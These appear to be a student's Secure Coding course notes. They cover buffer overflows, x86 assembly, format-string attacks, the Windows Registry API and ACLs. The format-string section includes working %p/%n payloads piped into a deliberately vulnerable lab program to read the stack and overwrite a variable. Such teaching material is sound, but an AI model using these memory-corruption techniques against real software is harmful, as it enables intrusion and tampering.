---
tags: course
---
# 111-1 Secure Code
:::info
- 參考書目
- [Robert Seacord, "Secure Coding in C and C++"](https://drive.google.com/file/d/1BQ6ar14FWReq7bJZ1SaRew6WXhInwv3p/view?usp=sharing)
- ["Writing Secure Code"](https://drive.google.com/file/d/15YGHyIpI8gm1H9z9FDaQcIeTPJl1Knv6/view?usp=sharing)
- [X86 Instruction Cheat Sheet](https://cs.brown.edu/courses/cs033/docs/guides/x64_cheatsheet.pdf)
- [x86 Assembly Guide](https://flint.cs.yale.edu/cs421/papers/x86-asm/asm.html)
- [x86 Assembly Language Reference Manual](https://docs.oracle.com/cd/E19120-01/open.solaris/817-5477/index.html)
- [Instructions](https://docs.oracle.com/cd/E19120-01/open.solaris/817-5477/ennbz/index.html)
- [Dive in System - Array](https://diveintosystems.org/book/C10-asm_takeaways/index.html)
:::
[TOC]
## [W1] Course Intro & Buffer Overflow & Stack
- Buffer Overrun/Overflow
- 原因: 在寫程式時未處理好字串。
- 範例程式
```c=
#include <stdio.h>
#include <string.h>
int main() {
char pwd[8] = "2915225";
char user_pw[8];
printf("pwd: %p\tuser_pw: %p\n", pwd, user_pw);
scanf("%s", user_pw); //未經檢查就從該記憶體位址開始存取字串
if (strcmp(user_pw, pwd) == 0)
printf("Correct\n");
else
printf("Incorrect\n");
return 0;
}
```
> 在 Ubuntu 上進行實作,需要再 compile 時加入 option 將 Stack Smashing Protection 功能關掉:
> `gcc -fno-stack-protector buffer_over.c`
- Hands-on: 如何覆蓋原密碼並通過密碼比對

> `ctrl-@` 可以從 standard input 輸入 `\0`(字串終止)
:::spoiler 參考資料
- [The Stack](https://ctf101.org/binary-exploitation/what-is-the-stack/)
- [你所不知道的 C 語言: 函式呼叫篇](https://hackmd.io/@dange/rk9xmgHKX?type=view)
- [Microsoft - `scanf_s`, `_scanf_s_l`, `wscanf_s`, `_wscanf_s_l`](https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/scanf-s-scanf-s-l-wscanf-s-wscanf-s-l?view=msvc-170)
- [FreeBSD - Secure Programming/Buffer Overflows](https://docs.freebsd.org/en/books/developers-handbook/secure/#secure-bufferov)
- [GNU Programming Tutorial - String overflows with scanf](http://www.crasseux.com/books/ctutorial/String-overflows-with-scanf.html)
:::
---
## [W2] Chapter 3 Security Principles to Live By
> - Make your team more secure
> - Slogan: Secure by Design, by Default, and in Depolyment($SD^3$)
- Secure by Design
- "go-to-person": 團隊中負責決策的人,掌舵者。
- Threat models
- Guidelines
- Appendix C: Coding
- Appendix D:
- Appendix E:
- Regression tests: 同一個 bug 不應該再次出現,因此功能測試的範圍必須涵蓋過去出過 bug 的部分。
- Advice: make a test program(自動化)
- Simplify the code
- Penetration analysis: 滲透分析
---
## [W3] Assembly Language Primer for Hackers
- Hackers
- **White-Hats** vs. **Script Kiddies**
### System Organization Basic

### Vomn Neumann Architecture

### CPU

- **Control Unit**
- Retrieve/Decode instruction, Retrieve/Store data in memory.
- **ALU**
- Arithmetic and Logic Unit.
- **Register**
- Internal memory inside CPU storing tmp values of operations.
- CPU Registers
- General Purpose Registers
- AX, BX, CX, DX, etc.
- SP, BP for stack pointer.
- Segment Registers
- 早期 code 跟 data 並沒有做分類儲存
- Instruction Pointer Register
- 存下一個要執行的指令的位址
- Control Registers
- Register name which has **'E'** at first like **'E'AX, 'E'SP**. It means expended, implies the machine is **32-bit**.
- Register name which has **'R'** at first like **'R'AX, 'R'SP**. It implies the machine is **64-bit**.
### Virtual Memory Model
- Each process is laid out in the same virtual memory space - regardless of the actual physical memory location.
### Program Memory

#### Stack
- **Last In First Out**
- 
- **PUSH** (add new data)
- SP decreased.
- **POP** (remove the topmost data)
- SP increased.
:::info
- Practice
- 練習 push, pop 操作以及觀察 stack segment 的變化。
:::
### Hands-on
- When you are executing a program, you can check some info in `/proc/<PID>/maps`.

> If you run the program again, next time the address of stack will change. Since Linux kernel 2.6, the position of the stack will be randomized by default.
> ` cat /proc/sys/kernel/randomize_va_space`
- 
#### GDB
```=
list <function name>
disassemble main
break <line number>
run <parameter>
step
next
continue
print z
printf "%d %d %d\n", x, y, z
```
```=
help <command>
run
info registers
x /16bd <address>
```
- Little Endian
- 
### GNU Assembler
> [color=#a2d7dd] **Reference**
> - [The GUN Assembler Manual](http://microelectronics.esa.int/erc32/doc/as.pdf)
> - [Search GNU Assembler Method](https://web.mit.edu/gnu/doc/html/as_toc.html)
> - [**Assembly - Quick Guide** (Recommand)](https://www.tutorialspoint.com/assembly_programming/assembly_quick_guide.htm)
- Structure

- **text & data section**
- **The text section is often shared among processes**: it contains instructions, constants and the like.
- The data section of a running program is usually alterable(?)
- for example, C variables would be stored in the data section.
- **bss section**
- This section contains zeroed bytes when your program begins running.
- It is used **to hold unitialized variables** or common storage.
> [color=#f6bfbc] **Compile Method**
> - `as hello.s -o hello.o`
> - Assemble into an object module
> - `ld hello.o -o hello.exe`
> - Link and Load, Link the library to resolve the reference and Load into memory
> => Execute file
#### Example
- Hello World
```asm=
.data
s1:
.ascii "Hello World\n"
.text
.globl _start
_start:
mov $4, %rax # system call, $4 sys_write
mov $1, %rbx
mov $s1, %rcx
mov $12 %rdx # 16 is the length of s1
int $0x80 # call kernal
# exit()
mov $1, %rax
mov $0, %rbx
int $0x80
```
- System Call
> [Picture from Tutorialspoint](https://www.tutorialspoint.com/assembly_programming/assembly_system_calls.htm)

- Read from Command Line
> Enter a $name, then print out "Hello, $name"
```asm=
.data
ask:
.ascii "Name? "
s1:
.ascii "Hello, "
newline:
.ascii "\n"
.bss
.lcomm buf 10 # Declare a 10-byte variable, buf
.text
.globl _start
_start:
# ASK "Name? "
mov $4, %rax
mov $1, %rbx
mov $ask, %rcx
mov $6, %rdx
int $0x80
# READ INPUT
mov $3, %rax # system call, $4 sys_read
mov $2, %rbx # I don't know why $2 Fork(?)
mov $buf, %rcx # Save Command Line Input in buf
mov $10, %rdx
int $0x80
# PRINT "Hello"
mov $4, %rax
mov $1, %rbx
mov $s1, %rcx
mov $7, %rdx
int $0x80
# PRINT NAME
mov $4, %rax
mov $1, %rbx
mov $buf, %rcx
mov $10, %rdx
int $0x80
# exit()
mov $1, %rax
mov $0, %rbx
int $0x80
```
---
## [W4] Assembly Primer (2) - Data Types
- [name=Solomon]: Why 數字比字串複雜?
- A: 有多種的資料型態用來處理數字
- int, short, float, etc.
### Data Types in .DATA
- .byte = 1 byte
- .ascii = string
- .asciz = null-terminated string
- automatically add `\0`
- .int = 32-bit integer
- .short = 16-bit integer
- .float = single precision floating-point number
- IEEE 754
- sign: 1 bit
- exponent: 8 bits
- fraction: 23 bits
- .double = double precision floating-point number
### Data Type in .BSS
- .comm
- Globally declare common memory area
- .lcomm
- Locally declare common memory area
### Hands-on
```=
.data
HelloWorld:
.ascii "Hello World!"
Name:
.asciz "Alice"
ByteLocation:
.byte 10
Int32:
.int 2
Int16:
.short 3
Float:
.float 1.75
IntegerArray:
.int 10,20,30,40,50
.bss
.comm LargeBuffer, 4096
.text
.globl _start
_start:
# Exit syscall to exit the program
mov $1, %rax
mov $0, %rbx
int $0x80
```
- GDB commands
> [color=#9790a4] Assemble with option `-g`
> - `as -g var.s -o var.o`
> - `ld var.o -o var.exe`
> - `gdb var.exe`
```=
info breakpoints
info variables
```

:::info
Tips: turn decimal to hex on Linux command line
```bash=
printf "%x\n" , 10000
```
:::
- Examine Memory Contents
- Usage of GDB command `x`
```=
x/18bc <memory address>
x/1bd <memory address>
x/1wd <memory address>
x/5wd &IntegerArray
```
> 18b: 18 bytes
> c: char
> d: decimal
> 1w: 1 word
### Moving Data & Memory Addressing
```=
mov src, dst
```
- movb = byte (8 bit)
- `movb %ah, %bh`
- movw = word (16 bit)
- `movw %ax, %bx`
> In x86 assembly, a word = 16 bits. In GDB, a word = 32 bits.
- movl = long word (32 bit)
- `movl %eax, %ebx`
- movq = quadword (64 bit)
- `movq %rax, %rbx`
#### Hands-on
```=
.text
.globl _start
_start:
mov $0xFFFFFFFFFFFFFFFF, %rax
movl %eax, %ebx
movw %ax, %cx
movb %ah, %dh
movq %rax, %rdi
# Exit syscall to exit the program
mov $1, %rax
mov $0, %rbx
int $0x80
```
#### You can move between...
- Between registers
- Between memory and register
```=
Int32:
.int 10
mov Int32, %eax
mov %eax, Int32
```
- Immediate value to register
- `mov $10, %rax`
- Immediate value to memory location
- `movl $11, Int32`
> 無法省略 mov type(movl) 的情況
## [W5] Assembly Primer (3) - Conditional Jump
### Review
- 運算時無法同時將兩個 memory 做為 reference
- 兩次的 memory access 耗時過久
- `imul` - Immediatly Multyply

- div.s
```asm=
504 Waste $ cat div.s
.data
Int16:
.short 100
V22:
.short 22
V36:
.short 36
.text
.globl _start
_start:
mov Int16, %ax
idiv V22, %ax
mov Int16, %ax
divw V36
# Exit syscall to exit the program
mov $1, %rax
mov $0, %rbx
int $0x80
```
- 
- 用 dx+ax 拼成 4-byte 做除法
- 若 dx 未歸零則出錯
### Unconditional Branching
- Conditional Branching example: `goto` in C
- Assembler 的兩大優點
- mnemonic code
- 可以用 label 表示
- Jump to a new address
- `jmp <label>`
- Similar to the `goto` statement in C.
- Effect: The value of the Instruction Pointer register is replaced by the address.
- jmp.s
```=
.data
s1:
.ascii "Hello\n"
.text
.globl _start
_start:
jmp SayHello
Exit:
mov $1, %rax
mov $5, %rbx
int $0x80
SayHello:
mov $4, %rax
mov $1, %rbx
mov $s1, %rcx
mov $6, %rdx
int $0x80
jmp Exit
```
- Call a Subroutine
- `call <label>`
- Similar to calling a function in C.
- The called subroutine has a RET instruction
- `ret`
- Similar to the `return` statement in C.
- call0.s
```=
.data
s1:
.ascii "Hello\n"
.text
.globl _start
_start:
call SayHello
call SayHello
Exit:
mov $1, %rax
mov $0, %rbx
int $0x80
SayHello:
mov $4, %rax
mov $1, %rbx
mov $s1, %rcx
mov $6, %rdx
int $0x80
ret
```
> 執行 call 時會將下一行 instruction 的位址先記到 stack 裡面(push),等 ret 被執行時再從 stack 取出(pop)。
:::spoiler 小知識
```bash
!a && !l && !g
```
> 利用`!`省略要執行的指令,`&&`成立的前提是前一個指令需執行成功。
:::
### Conditional Branching
> Jump on Specific Conditions
- After `sub <dst> <src>`
- `JZ`: Jump if the result is zero
- `JNZ`: Jump if the result is non-zero
- Compare
- `cmp <dst> <src>`
- Similar to `sub`, but it doesn't modify iperand.
- After compare, use `JG`, `JL`, `JE`, etc.
- Loop
- You can creat loop with conditional branching.
- Or, there is a statment `loop`
- Number of times is stored in CX
- It automatically decrements CX after each iteration.
```
mov $0, %rax
mov $100, %rcx
L1:
add %rcx, %rax
loop L1 # CX - 1
```
- Use `push` and `pop` to protect your CX from modifying.
```
mov $0, %rax
mov $100, %rcx
L1:
push %rcx
add %rcx, %rax
pop %rcx
loop L1 # CX - 1
```
## [W6] Functions
> instruction suffixes are:
> - b
> - Byte (8–bit)
>
> - w
> - Word (16–bit)
>
> - l
> - Long (32–bit) (default)
>
> - q
> - Quadword (64–bit)
- Passing arguments to a function
- Registers
- Global memory locations
- Stack
- Returning values from a function
- Registers
- Global memory locations
- func1.s
> pass parameters by registers
```asm=
.data
s1:
.ascii "Hello "
s2:
.ascii "NCNU\n"
.text
.globl _start
.type MyFunction @function # This line may not be necessary
MyFunction:
mov $4, %rax
mov $1, %rbx
int $0x80
ret
_start:
mov $s1, %rcx # string pointer
mov $6, %rdx # string length
call MyFunction
mov $s2, %rcx
mov $5, %rdx
call MyFunction
mov $1, %rax
mov $0, %rbx
int $0x80
```
- func2.s
> pass by global var
```asm=
```
### Call your asm function from C
- put.s
```asm=
.bss
.lcomm ch 1
.text
.globl putc
.type putc @function
putc:
mov %rdi, %rax
mov %al, ch
mov $4, %rax
mov $1, %rbx
mov $ch, %rcx
mov $1, %rdx
int $0x80
ret
.globl putd
.type putd @function
putd:
add $48, %rdi
call putc
ret
```
- main.c
```c=
int putd(int n); // function prototype
int main()
{
putd(7);
return 0;
}
```
- Compile
```bash=
as put.s -o put.o
gcc -c main.c -o main.o
gcc main.o put.o -o put.exe
```
:::info
- 使用 `g++` 會出現找不到 function 名稱的錯誤
- 因為`gcc` compile 前後 function 名稱接相同;而 `g++` 為支援 function overloading,compile 後 function 名稱會改變,因此這邊使用 `g++` 會出錯
:::
## [W7] Functions Stack
### Makefile
```
%.o: %.s
as -g $< -o $@
%.exe: %.o
ld $< -o $@
clean:
rm -f *.o *.exe
```
### Manipulating the Stack
- `push` & `pop`
- `lea`: load effective address
- moves src's address to dst (while`mov` moves value)
## [W8] Stack-based Buffer Overrun
- Overwrite the memory with an address.
- `.data` vs `.bss`
- Initial value 的有無
### Stack Frame
- Heap
- Dynamic memory

- Inside the Stack Segment, each function call is allocated a stack frame to store:
- (optional) arguments
- 如果要傳遞的參數較少,會選擇直接用 Register 傳遞。
- return address
- old EBP
- buffer (local variables)
- Local variable 在 memory 中擺放順序由後往前
- Global variable 在 memory 中擺放順序由前往後
- Practice
```
請把 hacked 函式改成
void hacked() {
printf("================\n");
printf("I am hacked again!\n");
printf("================\n");
}
這時你發現原本的輸入檔無法駭進它。請研究一下,該如何修改你的輸入檔,成功讓程式印出 I am hacked again.
```
### Off by One
---
## [W10] Format String Attacks with `printf()`
### Format String
- What is "format string"?
- **Convert other types data into string.**
| Conversion Specifier | Data Type |
| -------- | -------- |
| %d | decimal |
| %u | unsigned decimal |
| %o | octal |
| %x | hexadecimal |
| %f | float |
| %c | character |
| %s | string |
| %p | pointer |
- Common functions using format string
- `printf()`: print the format string to the **standard output**.
- `fprintf()`: print the format string to a **file**.
- `sprintf()`: print the format string to another **string**.
- `snprintf()`: print the format string to another string with a **specified length**.
### Order to print
- The ouput will be `11 10`, not `10 11`:
```c=
#include <stdio.h>
int main() {
int n = 10;
printf("%d %d\n", n, n++);
return 0;
}
```
:::info
- Push n into the stack first, then push n++.
- While printf() scans for **conversion specifiers** from left to right, pop out n++ first, then pop out n.
:::
- If we didn’t supply sufficient arguments, the program still runs fine, with more values taken from the stack:
```c=
printf("%d %d %d %d %d\n", n, n++);
```
### Conversion Specifier `%n`
- The number of characters printed so far is stored into the integer pointed to by the corresponding argument. (That argument shall be an `int*`.)
```c=
#include <stdio.h>
int main() {
int n;
printf("ABC%d%nDEF", 5, &n);
printf(“\n===\n");
printf("%d\n", n);
return 0;
}
```
- Output: The printed string 'ABC5' have 4 charaters.
```
ABC5DEF
===
4
```
:::info
Now we learned that printf() can **write something into memory**.
:::
### Attack
- Example code 1
```c=
#include <stdio.h>
int score = 60;
int main(int argc, char* argv[]) {
int* ptr = &score;
printf("Hello, ");
printf(argv[1]); // get username from argv
printf("\nYour score is %d\n", score);
printf("\n[DEBUG] score: %d [%p] \n", score, &score);
return 0;
}
```
```
$ fmtstr1.exe Alice
Your name? Hello, Alice
Your score is 60
[DEBUG] score: 60 [0x404030]
```
- Give another input for argv
```
$ fmtstr1.exe "%29p.%p.%p.%p.%p.%p.%p.%p.%n"
Hello, 0xcaa2a0.(nil).(nil).(nil).0xcaa2a0.0x7ffcf5f79f88.0x200401040.0x7ffcf5f79f80.
Your score is 99
[DEBUG] score: 99 [0x404030]
```
:::info
If we input “%p”, it fetches 8 bytes from the stack and prints as a pointer.
:::
- If you can luckly find the score's memory address(0x404030) in first few values which poped from the stack, just change the corresponding **%p** to **%n**, this will write “number of characters so far” into the memory location 0x404030.
- But you are not always so lucky to find the memory address in the stack.
- Example code 2
```c=
#include <stdio.h>
int score = 60;
int main() {
char msg[500];
printf("Your name? ");
scanf("%s", msg);
printf("Hello, ");
printf(msg);
printf("\nYour score is %d\n", score);
printf("\n[DEBUG] score: %d [%p] \n", score, &score);
return 0;
}
```
```
Your name? %p.%p.%p.%p.%p.%p.%p.%p.%p
Hello,
0x6c6c6548.(nil).(nil).(nil).0x1a406b0.0x70252e70252e7025.
0x252e70252e70252e.0x2e70252e70252e70.0x7025
Your score is 60
[DEBUG] score: 60 [0x404038]
```
> `%`: 25, `p`: 70, `.`: 2e --> they appears in what you pop from the stack.
:::info
You didn’t see the desired memory address, but you see your input string is stored in the stack, so you can supply the address by yourself!
:::
```shell=
python -c "print('..%p.%p.%p.%p.%p.%p.%p.%p.%p.%n.\x38\x40\x40')" | ./fmtstr2.exe
```
```
Hello,
..0x6c6c6548.(nil).(nil).(nil).0x1bec6b0.0x2e70252e70252e2e.0x70252e70252e7025.
0x252e70252e70252e.0x2e6e252e70252e70..8@@
Your score is 117
```
### `$` and `*` in format string
```c=
#include <stdio.h>
int main() {
// $: Positional Argument
printf("%2$s\n", "One", "Two");
printf("%5$d %3$d\n", 1, 2, 3, 4, 5);
// *: The width is given in the next argument
printf("%5d\n", 97);
printf("%*d\n", 5, 97);
return 0;
}
```
```
Two
5 3
97
97
```
- So we don't need to print too much `%p`
```c=
python -c 'print("...%7$p.\x38\x40\x40\x00\x00\x00\x00\x00")' | ./fmtstr2.exe
```
```
Hello, ...0x404038.8@@
```
- Then change `%p` to `%n`
```c=
python -c 'print("...%7$n.\x38\x40\x40\x00\x00\x00\x00\x00")' | ./fmtstr2.exe
```
```
Hello, ....8@@
Your score is 3
```
---
## [W11] Windows Registry
> [ Registry Doc ](https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry)
### Windows Registry
- Basically is a hierachical database
- In Win+R, enter `regedit` 進入 Windows Registry
- The data is structured in a tree format
- Each Node in the tree called "Key"
- Each Key contain both subkeys and data entries called "values"
- Each value consists of a value "name" and its associated "data", if any
- Key names are not case sensitive
- (補充) RunMRU
- 存曾經在 win+R 輸入過的指令
- 
- a, 代表 a 開頭的指令;曾輸入過的會在下方提示
- Registry Storage Space
- APP configuration and initialization data in the registry
- Executable binary code should never
- Application should group similar data together as a structur
- Predefined Keys
- HKEY_CURRENT_USER // H means Handle, like a ID to point the specific stuff in Windows doc
- user specific data
- HKEY_LOCAL_MACHINE
- computer specific data
- e.g. 
- Central Processor 0-7 => 8 cores
#### Program
- RegCloseKey()
- If this function suceeds, the return value is "ERROR_SUCCESS"
```cpp=
LSTATUS RegCloseKey(
[in] HKEY hKey
);
```
- Opening Keys
```cpp=
#include <Windows.h>
#include <winreg.h>
#include <stdio.h>
int main() {
LSTATUS lResult;
HKEY hKeyRoot = HKEY_CLASSES_ROOT;
LPCWSTR lpSubKey = L"x-intranet-signup";
// LPCWSTR lpSubKey = L"x-internet-signup";
HKEY hKey;
lResult = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
if (lResult != ERROR_SUCCESS)
{
if (lResult == ERROR_FILE_NOT_FOUND) {
printf("Key not found.\n");
return TRUE;
}
else {
printf("Error opening key.\n");
return FALSE;
}
}
return 0;
}
```
- L"...", means UTF-8
- RegOpenKeyEx
- Ex, extension
********
- Retrieving Data from the Registry
- ToDo: Retrieving Data from the Registry ( Retrieving the font of lilina session )
- Regedit Path `Computer\HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\lilina`
- 
- SimonTatham, 公司名稱;也是開發者名稱
- Program
```cpp=
#include <Windows.h>
#include <winreg.h>
#include <stdio.h>
#define MAX_BUFF (64)
#define MY_VALUENAME L"FontHeight"
int main() {
LSTATUS lResult;
HKEY hKeyRoot = HKEY_CURRENT_USER;
LPCWSTR lpSubKey = L"SOFTWARE\\SimonTatham\\PuTTY\\Sessions\\lilina";
HKEY hKey;
lResult = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
if (lResult != ERROR_SUCCESS)
{
if (lResult == ERROR_FILE_NOT_FOUND) {
printf("Key not found.\n");
return TRUE;
}
else {
printf("Error opening key.\n");
return FALSE;
}
}
else
{
BYTE bBuff[MAX_BUFF];
ZeroMemory(bBuff, MAX_BUFF);
//Determine how much data to read.
DWORD cbBuff = 0;
if (RegQueryValueEx(hKey,
MY_VALUENAME,
NULL,
NULL,
NULL,
&cbBuff) == ERROR_SUCCESS) {
//Now read all the data.
if (RegQueryValueEx(hKey,
MY_VALUENAME,
NULL,
NULL,
bBuff,
&cbBuff) == ERROR_SUCCESS) {
//Cool!
//We have read the data from the registry.
printf("Your font height is %d\n", *((int *) bBuff));
}
}
}
return 0;
}
```
- cbBuff
- 指定讀幾個 Byte
- 執行結果
- 
- Also can change here
- 
********
- Write Registry Data
```cpp=
#include <Windows.h>
#include <winreg.h>
#include <stdio.h>
int main() {
LSTATUS lResult;
HKEY hKeyRoot = HKEY_CURRENT_USER;
LPCWSTR lpSubKey = L"SOFTWARE\\SimonTatham\\PuTTY\\Sessions\\lilina";
HKEY hKey;
lResult = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_SET_VALUE, &hKey);
if (lResult == ERROR_SUCCESS)
{
WCHAR lpValueName[] = L"A_School";
DWORD bBuff = 67;
DWORD cbBuff = 4;
lResult = RegSetValueExW(hKey, lpValueName, NULL, REG_DWORD, (const BYTE*) &bBuff, cbBuff);
if (lResult == ERROR_SUCCESS)
wprintf(L"Your value is set successfully.\n");
}
return 0;
}
```
- Read 不用指定 Type, 但 Write 要
- REG_DWORD
- a 32-bit number (in little endian on X86)
- REG_QWORD
- a 64-bit number
- REG_SZ
- a null-terminated string
- When writing a string to the registry, you must specify the length of the string, including the terminating null character (\0)
- `strlen` returns only the number of characters in the string, not including the terminating null
- wide char, type for UTF8
```cpp=
#include <Windows.h>
#include <winreg.h>
#include <stdio.h>
int main() {
LSTATUS lResult;
HKEY hKeyRoot = HKEY_CURRENT_USER;
LPCWSTR lpSubKey = L"SOFTWARE\\NCNU\\Coconut";
HKEY hKey;
DWORD dwDisposition;
lResult = RegCreateKeyEx(hKeyRoot, lpSubKey, 0, NULL, REG_OPTION_NON_VOLATILE,
KEY_CREATE_SUB_KEY | KEY_SET_VALUE, NULL, &hKey, &dwDisposition);
if (lResult == ERROR_SUCCESS) {
WCHAR lpValueName[] = L"Version";
WCHAR bBuff[] = L"1.0";
DWORD cbBuff = sizeof(bBuff);
lResult = RegSetValueExW(hKey, lpValueName, NULL, REG_SZ, (const BYTE*)bBuff, cbBuff);
if (lResult == ERROR_SUCCESS)
wprintf(L"Your value is set successfully.\n");
}
return 0;
}
```
********
- Create Key
```cpp=
LSTATUS RegCreateKeyExW(
[in] HKEY hKey,
[in] LPCWSTR lpSubKey,DWORD Reserved,
[in, optional] LPWSTR lpClass,
[in] DWORD dwOptions,
[in] REGSAM samDesired,
[in, optional] const LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[out] PHKEY phkResult,
[out, optional] LPDWORD lpdwDisposition
);
```
- VOLATILE
- 重新開機就消失
- e.g. RAM
```cpp=
#include <Windows.h>
#include <winreg.h>
#include <stdio.h>
int main() {
LSTATUS lResult;
HKEY hKeyRoot = HKEY_CURRENT_USER;
LPCWSTR lpSubKey = L"SOFTWARE\\SimonTatham\\PuTTY\\Sessions\\NCNU";
HKEY hKey;
DWORD dwDisposition;
lResult = RegCreateKeyEx(hKeyRoot, lpSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_CREATE_SUB_KEY, NULL, &hKey, &dwDisposition);
if (lResult == ERROR_SUCCESS)
wprintf(L"Your value is created successfully.\n");
return 0;
}
```
***
- Delete Key
```cpp=
#include <Windows.h>
#include <winreg.h>
#include <stdio.h>
int main() {
LSTATUS lResult;
HKEY hKeyRoot = HKEY_CURRENT_USER;
LPCWSTR lpSubKey = L"SOFTWARE\\SimonTatham\\PuTTY\\Sessions\\NCNU";
HKEY hKey;
lResult = RegDeleteKeyExW(hKeyRoot, lpSubKey, KEY_WOW64_64KEY, NULL);
if (lResult == ERROR_SUCCESS)
wprintf(L"Your key is deleted successfully.\n");
return 0;
}
```
## [W12] Access Control Overview
- Key Concepts in Windows
- Permissions
- Assign to Objects
- Ownership of Objects
- Inheritance of Permissions
- User Rights
- Assign to Users
- Object Auditing
- Audite 稽核
- 監控 Object 被使用的狀況(ex. who access this object?)
- AAA
- Authentication
- who are you?
- ex. 2FA(2-factor)
- Authorization
- what can you do?
- Audit
- what have you done?
- Access Control List(ACL)
- Users and Groups
- In Windows, "Security Principals" means users and groups.
- 實務上將權限 assign to group 會比 assign to user 來得不易出錯。
- Containers
- An object can hold other objects(subfolders and files).
### Audit in Windows
- 對檔案點擊右鍵 -> Properties -> Security -> Advanced Security Settings -> Audit
- 
- Search "secpol.msc" -> Local Policies -> Audit Policy -> Audit Object Access
- 
- Event Viewer -> Windows Log -> Security -> Filter Current Log
- 
- 
:::warning
The disk should use **NTFS** as File System mode. **FAT** & **FAT32** couldn't support ACL.
:::
#### `sddlacl.cpp`
```cpp=
/* SDDLACL.cpp */
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <sddl.h>
int main() {
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = FALSE;
const TCHAR* szSD = L"D:P" //DACL
L"(D;OICI;GA;;;BG)" //Deny Guests
L"(A;OICI;GA;;;SY)" //Allow SYSTEM Full Control
L"(A;OICI;GA;;;BA)" //Allow Admins Full Control
L"(A;OICI;GRGWGX;;;IU)"; //Allow Interactive Users RWX
if (ConvertStringSecurityDescriptorToSecurityDescriptor(
szSD,
SDDL_REVISION_1,
&(sa.lpSecurityDescriptor),
NULL)) {
if (!CreateDirectory(L"C:\\Waste\\MyDir", &sa)) {
DWORD err = GetLastError();
}
LocalFree(sa.lpSecurityDescriptor);
}
}
```
#### `atlacl.c`
:::info
**ATL - Active Template Library**
:::
```cpp=
/* ATLACL.cpp */
#include <atlsecurity.h>
#include <iostream>
using namespace std;
int main() {
try {
//The user accounts
CSid sidSolomon(L"\\solomon");
CSid sidAdmin = Sids::Admins();
CSid sidGuests = Sids::Guests();
//Create the ACL, and populate with ACEs.
//Note the deny ACE is placed before the allow ACEs.
CDacl dacl;
dacl.AddDeniedAce(sidGuests, GENERIC_ALL);
dacl.AddAllowedAce(sidSolomon, GENERIC_READ);
dacl.AddAllowedAce(sidAdmin, GENERIC_ALL);
//Create the security descriptor and attributes.
CSecurityDesc sd;
sd.SetDacl(dacl);
CSecurityAttributes sa(sd);
//Create the directory with the security attributes.
if (CreateDirectory(L"c:\\Waste\\MyTestDir", &sa))
cout << "Directory created!" << endl;
}
catch (CAtlException e) {
cerr << "Error, application failed witherror "
<< hex << (HRESULT)e << endl;
}
}
```
---
## [W15] Precentation
###
- Hijacking
- Mutual Authentication
- MSL
- `cat /proc/sys/net/ipv4/tcp_fin_timeout` to see the value of 2*MSL
- Firewall
- FTP Bounced Attack
-